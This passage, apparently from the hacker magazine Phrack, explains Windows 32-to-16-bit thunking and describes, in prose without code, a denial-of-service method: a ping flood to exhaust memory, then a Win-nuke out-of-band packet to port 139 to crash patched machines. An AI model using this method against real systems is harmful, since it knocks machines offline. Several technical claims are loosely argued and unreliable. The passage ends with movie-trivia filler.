also requires all drivers to run at the level 0 level within the Windows kernel. These drivers then pass off the data to different 16-bit functions. The difficulty with passing off 32-bit data to a 16-bit function is where the thunking layer comes into the picture. The thunking layer is a wrapper around all 16-bit functions in Windows that can be called by a 32-bit function. It thunks the data calls down to 16-bit by converting them into multiple data elements normally done by a structure or by passing the actual memory dump of the variable and passing the data dump into the function. Then the function does its processing to the data within the data-gram and passes it back out of the function. At this point it goes back through the thunking layer and reconverts the data back to a 32-bit variable and then the 32-bit driver keeps on with its processing. This processing of the thunking layer is not an unheard of scheme nor has it not been used before but with the way that we all know that Microsoft codes it was done in a hurry, not properly implemented, and never tested till production. Do to the aforementioned reasons it should not surprise to anyone that the code has severe memory leaks. This is why if you, for example, make an ODBC call to an Oracle database long enough that eventually your Windows box becomes slower until an eventual crash "Blue Screen of Death" or just becomes unbearable to work with. As Microsoft tries to patch these bugs in the device drivers it releases service packs such as SP3. The way that Microsoft has developed and implements the device driver process is on a modular code basis. So when a patch is implemented it actually calls the modulated code to handle the exact situation for that exploit. Now that you know some of the basic internals as to how Windows makes its calls it is time to understand resource hacking and the reason Win-nuke still works. If you ping a Windows box it allocates a certain amount of ram and runs code within the driver that returns the ICMP packet. Well if you ping a windows box 20,000 or 30,000 times it has to allocate 20 or 30 thousand chunks of memory to run the device driver to return the ICMP packet. Once 20 or 30 thousand little chunks of memory out there you do not have enough memory to run allow the TCP/IP driver to spawn the code to handle normal function within the Windows box. At this point if you were to run Win-nuke to send the OOB packet to port 139 on a Windows box in would crash the box. The OOB code that was used to patch Win-nuke in SP3 could not be spawned due to the lack of memory available and thus uses the original code for the TCP/IP.sys so it gets processed by the standard TCP/IP driver that was original shipped with Windows without the fix. The only way for Microsoft to actually fix this problem would be to rewrite the TCP/IP driver with the correct code within it as the core driver (instead of writing patches to be spawned when the exception occurs). In doing this though would require Microsoft a significant amount of coding skill and talent which we know that no self respecting coder would ever work for the big evil. 0x9>------------------------------------------------------------------------- ----[ PDM Phrack Doughnut Movie (PDM) last issue was `Grosse Point Blank`. PDM52 recipients: Jim Broome Jonathan Ham Jon "Boyracer" George James Hanson Jesse Paulsen jcoest All the recipients have J* first names. Eerie. And what is actually involved in `boyracing`? Do they put little saddles on them? PDM53 Challenge: "...Remember, ya always gotta put one in the brain. The first one puts him down, the second one finishes him off. Then he's dead. Then we go home." ----[ EOF